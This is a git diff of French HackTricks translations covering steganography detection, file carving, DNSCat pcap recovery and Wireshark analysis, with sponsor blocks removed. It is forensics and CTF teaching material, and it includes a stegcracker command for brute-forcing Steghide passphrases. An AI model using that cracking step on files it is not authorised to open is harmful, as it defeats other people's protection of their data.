[GraphicMagick](https://imagemagick.org/script/download.php) sert à déterminer les types de fichiers image et à identifier d'éventuelles corruptions. Exécutez la commande ci-dessous pour inspecter une image :
|
[GraphicMagick](https://imagemagick.org/script/download.php) sert à déterminer les types de fichiers image et à identifier une corruption potentielle. Exécutez la commande ci-dessous pour inspecter une image :
|
||||||
```bash
|
```bash
|
||||||
./magick identify -verbose stego.jpg
|
./magick identify -verbose stego.jpg
|
||||||
```
|
```
|
||||||
|
@ -95,18 +87,18 @@ Pour tenter de réparer une image endommagée, ajouter un commentaire de métado
|
||||||
```
|
```
|
||||||
### **Steghide pour la dissimulation de données**
|
### **Steghide pour la dissimulation de données**
|
||||||
|
|
||||||
Steghide facilite la dissimulation de données dans les fichiers `JPEG, BMP, WAV et AU`, capable d'incorporer et d'extraire des données chiffrées. L'installation est simple en utilisant `apt`, et son [code source est disponible sur GitHub](https://github.com/StefanoDeVuono/steghide).
|
Steghide facilite la dissimulation de données dans des fichiers `JPEG, BMP, WAV et AU`, capable d'incorporer et d'extraire des données chiffrées. L'installation est simple en utilisant `apt`, et son [code source est disponible sur GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||||
|
|
||||||
**Commandes :**
|
**Commandes :**
|
||||||
|
|
||||||
* `steghide info fichier` révèle si un fichier contient des données cachées.
|
* `steghide info file` révèle si un fichier contient des données cachées.
|
||||||
* `steghide extract -sf fichier [--passphrase mot de passe]` extrait les données cachées, mot de passe en option.
|
* `steghide extract -sf file [--passphrase password]` extrait les données cachées, le mot de passe est optionnel.
|
||||||
|
|
||||||
Pour une extraction basée sur le web, visitez [ce site web](https://futureboy.us/stegano/decinput.html).
|
Pour l'extraction basée sur le web, visitez [ce site](https://futureboy.us/stegano/decinput.html).
|
||||||
|
|
||||||
**Attaque par force brute avec Stegcracker :**
|
**Attaque par bruteforce avec Stegcracker :**
|
||||||
|
|
||||||
* Pour tenter de craquer un mot de passe sur Steghide, utilisez [stegcracker](https://github.com/Paradoxis/StegCracker.git) comme suit :
|
* Pour tenter de craquer le mot de passe sur Steghide, utilisez [stegcracker](https://github.com/Paradoxis/StegCracker.git) comme suit :
|
||||||
```bash
|
```bash
|
||||||
stegcracker <file> [<wordlist>]
|
stegcracker <file> [<wordlist>]
|
||||||
```
|
```
|
||||||
|
@ -116,28 +108,30 @@ zsteg se spécialise dans la découverte de données cachées dans les fichiers
|
||||||
|
|
||||||
**Commandes :**
|
**Commandes :**
|
||||||
|
|
||||||
* `zsteg -a fichier` applique toutes les méthodes de détection sur un fichier.
|
* `zsteg -a file` applique toutes les méthodes de détection sur un fichier.
|
||||||
* `zsteg -E fichier` spécifie une charge utile pour l'extraction de données.
|
* `zsteg -E file` spécifie une charge utile pour l'extraction de données.
|
||||||
|
|
||||||
### **StegoVeritas et Stegsolve**
|
### **StegoVeritas et Stegsolve**
|
||||||
|
|
||||||
**stegoVeritas** vérifie les métadonnées, effectue des transformations d'image et applique la force brute LSB, entre autres fonctionnalités. Utilisez `stegoveritas.py -h` pour obtenir une liste complète des options et `stegoveritas.py stego.jpg` pour exécuter toutes les vérifications.
|
**stegoVeritas** vérifie les métadonnées, effectue des transformations d'image et applique le brute forcing LSB parmi d'autres fonctionnalités. Utilisez `stegoveritas.py -h` pour une liste complète des options et `stegoveritas.py stego.jpg` pour exécuter tous les contrôles.
|
||||||
|
|
||||||
**Stegsolve** applique divers filtres de couleur pour révéler des textes ou des messages cachés dans les images. Il est disponible sur [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
**Stegsolve** applique divers filtres de couleur pour révéler des textes ou des messages cachés dans les images. Il est disponible sur [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||||
|
|
||||||
### **FFT pour la détection de contenu caché**
|
### **FFT pour la détection de contenu caché**
|
||||||
|
|
||||||
Les techniques de Transformée de Fourier Rapide (FFT) peuvent révéler du contenu dissimulé dans les images. Des ressources utiles incluent:
|
Les techniques de Transformée de Fourier Rapide (FFT) peuvent révéler du contenu dissimulé dans les images. Les ressources utiles incluent :
|
||||||
|
|
||||||
* [Démo EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||||
* [FFTStegPic sur GitHub](https://github.com/0xcomposure/FFTStegPic)
|
* [FFTStegPic sur GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||||
|
|
||||||
### **Stegpy pour les fichiers audio et image**
|
### **Stegpy pour les fichiers audio et image**
|
||||||
|
|
||||||
Stegpy permet d'incorporer des informations dans des fichiers image et audio, prenant en charge des formats tels que PNG, BMP, GIF, WebP et WAV. Il est disponible sur [GitHub](https://github.com/dhsdshdhk/stegpy).
|
Stegpy permet d'incorporer des informations dans des fichiers image et audio, prenant en charge des formats comme PNG, BMP, GIF, WebP et WAV. Il est disponible sur [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||||
|
|
||||||
### **Pngcheck pour l'analyse des fichiers PNG**
|
### **Pngcheck pour l'analyse des fichiers PNG**
|
||||||
|
|
||||||
|
Pour analyser les fichiers PNG ou valider leur authenticité, utilisez :
|
||||||
```bash
|
```bash
|
||||||
apt-get install pngcheck
|
apt-get install pngcheck
|
||||||
pngcheck stego.png
|
pngcheck stego.png
|
||||||
|
@ -154,7 +148,7 @@ Pour une exploration plus approfondie, envisagez de visiter :
|
||||||
|
|
||||||
## **Extraction de données à partir d'audios**
|
## **Extraction de données à partir d'audios**
|
||||||
|
|
||||||
La **stéganographie audio** offre une méthode unique pour dissimuler des informations dans des fichiers sonores. Différents outils sont utilisés pour incorporer ou récupérer du contenu caché.
|
**La stéganographie audio** offre une méthode unique pour dissimuler des informations dans des fichiers sonores. Différents outils sont utilisés pour intégrer ou récupérer du contenu caché.
|
||||||
|
|
||||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||||
|
|
||||||
|
@ -162,17 +156,17 @@ Steghide est un outil polyvalent conçu pour cacher des données dans des fichie
|
||||||
|
|
||||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||||
|
|
||||||
Cet outil est compatible avec une variété de formats, y compris PNG, BMP, GIF, WebP et WAV. Pour plus d'informations, consultez la [section Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
Cet outil est compatible avec une variété de formats, y compris PNG, BMP, GIF, WebP et WAV. Pour plus d'informations, consultez la [section de Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||||
|
|
||||||
### **ffmpeg**
|
### **ffmpeg**
|
||||||
|
|
||||||
ffmpeg est essentiel pour évaluer l'intégrité des fichiers audio, mettre en évidence des informations détaillées et repérer d'éventuelles divergences.
|
ffmpeg est crucial pour évaluer l'intégrité des fichiers audio, mettant en évidence des informations détaillées et identifiant toute anomalie.
|
||||||
```bash
|
```bash
|
||||||
ffmpeg -v info -i stego.mp3 -f null -
|
ffmpeg -v info -i stego.mp3 -f null -
|
||||||
```
|
```
|
||||||
### **WavSteg (WAV)**
|
### **WavSteg (WAV)**
|
||||||
|
|
||||||
WavSteg excelle dans la dissimulation et l'extraction de données dans les fichiers WAV en utilisant la stratégie du bit de poids faible. Il est accessible sur [GitHub](https://github.com/ragibson/Steganography#WavSteg). Les commandes incluent :
|
WavSteg excelle à dissimuler et extraire des données dans des fichiers WAV en utilisant la stratégie du bit de poids faible. Il est accessible sur [GitHub](https://github.com/ragibson/Steganography#WavSteg). Les commandes incluent :
|
||||||
```bash
|
```bash
|
||||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||||
|
|
||||||
|
@ -188,19 +182,17 @@ Un outil inestimable pour l'inspection visuelle et analytique des fichiers audio
|
||||||
|
|
||||||
### **DTMF Tones - Dial Tones**
|
### **DTMF Tones - Dial Tones**
|
||||||
|
|
||||||
La détection des tonalités DTMF dans les fichiers audio peut être réalisée à l'aide d'outils en ligne tels que [ce détecteur DTMF](https://unframework.github.io/dtmf-detect/) et [DialABC](http://dialabc.com/sound/detect/index.html).
|
La détection des tons DTMF dans les fichiers audio peut être réalisée grâce à des outils en ligne tels que [ce détecteur DTMF](https://unframework.github.io/dtmf-detect/) et [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||||
|
|
||||||
## **Autres Techniques**
|
## **Other Techniques**
|
||||||
|
|
||||||
### **Binary Length SQRT - QR Code**
|
### **Binary Length SQRT - QR Code**
|
||||||
|
|
||||||
Les données binaires qui donnent un nombre entier en racine carrée pourraient représenter un code QR. Utilisez ce snippet pour vérifier :
|
Les données binaires qui se carrent pour donner un nombre entier pourraient représenter un code QR. Utilisez ce snippet pour vérifier :
|
||||||
```python
|
```python
|
||||||
import math
|
import math
|
||||||
math.sqrt(2500) #50
|
math.sqrt(2500) #50
|
||||||
```
|
```
|
||||||
### **Traduction en français**
|
|
||||||
|
|
||||||
Pour la conversion binaire en image, consultez [dcode](https://www.dcode.fr/binary-image). Pour lire les codes QR, utilisez [ce lecteur de codes-barres en ligne](https://online-barcode-reader.inliteresearch.com/).
|
Pour la conversion binaire en image, consultez [dcode](https://www.dcode.fr/binary-image). Pour lire les codes QR, utilisez [ce lecteur de codes-barres en ligne](https://online-barcode-reader.inliteresearch.com/).
|
||||||
|
|
||||||
### **Traduction en Braille**
|
### **Traduction en Braille**
|
||||||
|
@ -212,23 +204,17 @@ Pour traduire le Braille, le [Branah Braille Translator](https://www.branah.com/
|
||||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||||
|
|
||||||
**Groupe de sécurité Try Hard**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS : <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert en Équipe Rouge AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert en Équipe Rouge GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
## Outils de Carving & de Récupération
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
Plus d'outils sur [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Carving & Recovery tools
|
|
||||||
|
|
||||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
|
||||||
|
|
||||||
### Autopsy
|
### Autopsy
|
||||||
|
|
||||||
|
@ -35,7 +27,7 @@ L'outil le plus couramment utilisé en criminalistique pour extraire des fichier
|
||||||
|
|
||||||
**Binwalk** est un outil pour analyser des fichiers binaires afin de trouver du contenu intégré. Il est installable via `apt` et sa source est sur [GitHub](https://github.com/ReFirmLabs/binwalk).
|
**Binwalk** est un outil pour analyser des fichiers binaires afin de trouver du contenu intégré. Il est installable via `apt` et sa source est sur [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||||
|
|
||||||
**Useful commands**:
|
**Commandes utiles**:
|
||||||
```bash
|
```bash
|
||||||
sudo apt install binwalk #Insllation
|
sudo apt install binwalk #Insllation
|
||||||
binwalk file #Displays the embedded data in the given file
|
binwalk file #Displays the embedded data in the given file
|
||||||
|
@ -65,7 +57,7 @@ Cet outil peut analyser une image et **extraire des pcaps** à l'intérieur, **d
|
||||||
```
|
```
|
||||||
bulk_extractor memory.img -o out_folder
|
bulk_extractor memory.img -o out_folder
|
||||||
```
|
```
|
||||||
Naviguez à travers **toutes les informations** que l'outil a rassemblées (mots de passe ?), **analysez** les **paquets** (lisez[ **analyse de Pcaps**](../pcap-inspection/)), recherchez des **domaines étranges** (domaines liés à **malware** ou **inexistants**).
|
Naviguez à travers **toutes les informations** que l'outil a rassemblées (mots de passe ?), **analysez** les **paquets** (lisez[ **Analyse des Pcaps**](../pcap-inspection/)), recherchez des **domaines étranges** (domaines liés à **malware** ou **inexistants**).
|
||||||
|
|
||||||
### PhotoRec
|
### PhotoRec
|
||||||
|
|
||||||
|
@ -105,15 +97,9 @@ Téléchargez [ici](https://sourceforge.net/projects/findaes/).
|
||||||
Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images depuis le terminal.\
|
Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images depuis le terminal.\
|
||||||
Vous pouvez utiliser l'outil en ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire.
|
Vous pouvez utiliser l'outil en ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -121,7 +107,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
## Outils de Carving & de Récupération
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
Plus d'outils sur [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Carving & Recovery tools
|
|
||||||
|
|
||||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
|
||||||
|
|
||||||
### Autopsy
|
### Autopsy
|
||||||
|
|
||||||
|
@ -35,7 +27,7 @@ L'outil le plus couramment utilisé en criminalistique pour extraire des fichier
|
||||||
|
|
||||||
**Binwalk** est un outil pour analyser des fichiers binaires afin de trouver du contenu intégré. Il est installable via `apt` et sa source est sur [GitHub](https://github.com/ReFirmLabs/binwalk).
|
**Binwalk** est un outil pour analyser des fichiers binaires afin de trouver du contenu intégré. Il est installable via `apt` et sa source est sur [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||||
|
|
||||||
**Useful commands**:
|
**Commandes utiles**:
|
||||||
```bash
|
```bash
|
||||||
sudo apt install binwalk #Insllation
|
sudo apt install binwalk #Insllation
|
||||||
binwalk file #Displays the embedded data in the given file
|
binwalk file #Displays the embedded data in the given file
|
||||||
|
@ -65,7 +57,7 @@ Cet outil peut analyser une image et **extraire des pcaps** à l'intérieur, **d
|
||||||
```
|
```
|
||||||
bulk_extractor memory.img -o out_folder
|
bulk_extractor memory.img -o out_folder
|
||||||
```
|
```
|
||||||
Naviguez à travers **toutes les informations** que l'outil a rassemblées (mots de passe ?), **analysez** les **paquets** (lisez[ **Analyse des Pcaps**](../pcap-inspection/)), recherchez des **domaines étranges** (domaines liés à **malware** ou **inexistants**).
|
Naviguez à travers **toutes les informations** que l'outil a rassemblées (mots de passe ?), **analysez** les **paquets** (lisez[ **Analyse des Pcaps**](../pcap-inspection/)), recherchez des **domaines étranges** (domaines liés à **malware** ou **non existants**).
|
||||||
|
|
||||||
### PhotoRec
|
### PhotoRec
|
||||||
|
|
||||||
|
@ -82,7 +74,7 @@ Vérifiez le [code](https://code.google.com/archive/p/binvis/) et la [page web d
|
||||||
#### Fonctionnalités de BinVis
|
#### Fonctionnalités de BinVis
|
||||||
|
|
||||||
* Visualiseur de **structure** visuel et actif
|
* Visualiseur de **structure** visuel et actif
|
||||||
* Plusieurs graphiques pour différents points de focus
|
* Plusieurs graphiques pour différents points de focalisation
|
||||||
* Focalisation sur des portions d'un échantillon
|
* Focalisation sur des portions d'un échantillon
|
||||||
* **Voir les chaînes et ressources**, dans des exécutables PE ou ELF par exemple
|
* **Voir les chaînes et ressources**, dans des exécutables PE ou ELF par exemple
|
||||||
* Obtenir des **modèles** pour la cryptanalyse sur des fichiers
|
* Obtenir des **modèles** pour la cryptanalyse sur des fichiers
|
||||||
|
@ -92,7 +84,7 @@ Vérifiez le [code](https://code.google.com/archive/p/binvis/) et la [page web d
|
||||||
|
|
||||||
BinVis est un excellent **point de départ pour se familiariser avec une cible inconnue** dans un scénario de black-boxing.
|
BinVis est un excellent **point de départ pour se familiariser avec une cible inconnue** dans un scénario de black-boxing.
|
||||||
|
|
||||||
## Outils de Carving de Données Spécifiques
|
## Outils de Data Carving spécifiques
|
||||||
|
|
||||||
### FindAES
|
### FindAES
|
||||||
|
|
||||||
|
@ -100,17 +92,11 @@ Recherche des clés AES en cherchant leurs plannings de clés. Capable de trouve
|
||||||
|
|
||||||
Téléchargez [ici](https://sourceforge.net/projects/findaes/).
|
Téléchargez [ici](https://sourceforge.net/projects/findaes/).
|
||||||
|
|
||||||
## Outils Complémentaires
|
## Outils complémentaires
|
||||||
|
|
||||||
Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images depuis le terminal.\
|
Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images depuis le terminal.\
|
||||||
Vous pouvez utiliser l'outil en ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire.
|
Vous pouvez utiliser l'outil en ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -9,25 +9,13 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
Si vous avez un pcap avec des données étant **exfiltrées par DNSCat** (sans utiliser de cryptage), vous pouvez trouver le contenu exfiltré.
|
Si vous avez un pcap avec des données étant **exfiltrées par DNSCat** (sans utiliser de cryptage), vous pouvez trouver le contenu exfiltré.
|
||||||
|
|
||||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Améliorez vos compétences Wireshark
|
## Améliorez vos compétences Wireshark
|
||||||
|
|
||||||
|
@ -50,7 +37,7 @@ En cliquant sur _**Analyser** --> **Informations Expert**_, vous aurez un **aper
|
||||||
|
|
||||||
**Adresses Résolues**
|
**Adresses Résolues**
|
||||||
|
|
||||||
Sous _**Statistiques --> Adresses Résolues**_, vous pouvez trouver plusieurs **informations** qui ont été "**résolues**" par Wireshark, comme le port/transport au protocole, MAC au fabricant, etc. Il est intéressant de savoir ce qui est impliqué dans la communication.
|
Sous _**Statistiques --> Adresses Résolues**_, vous pouvez trouver plusieurs **informations** qui ont été "**résolues**" par Wireshark, comme le port/transport au protocole, le MAC au fabricant, etc. Il est intéressant de savoir ce qui est impliqué dans la communication.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (893).png>)
|
![](<../../../.gitbook/assets/image (893).png>)
|
||||||
|
|
||||||
|
@ -98,7 +85,7 @@ D'autres filtres intéressants :
|
||||||
|
|
||||||
### Recherche
|
### Recherche
|
||||||
|
|
||||||
Si vous souhaitez **chercher** du **contenu** à l'intérieur des **paquets** des sessions, appuyez sur _CTRL+f_. Vous pouvez ajouter de nouvelles couches à la barre d'informations principale (No., Temps, Source, etc.) en appuyant sur le bouton droit puis en modifiant la colonne.
|
Si vous souhaitez **chercher** du **contenu** à l'intérieur des **paquets** des sessions, appuyez sur _CTRL+f_. Vous pouvez ajouter de nouvelles couches à la barre d'informations principale (No., Heure, Source, etc.) en appuyant sur le bouton droit puis sur modifier la colonne.
|
||||||
|
|
||||||
### Laboratoires pcap gratuits
|
### Laboratoires pcap gratuits
|
||||||
|
|
||||||
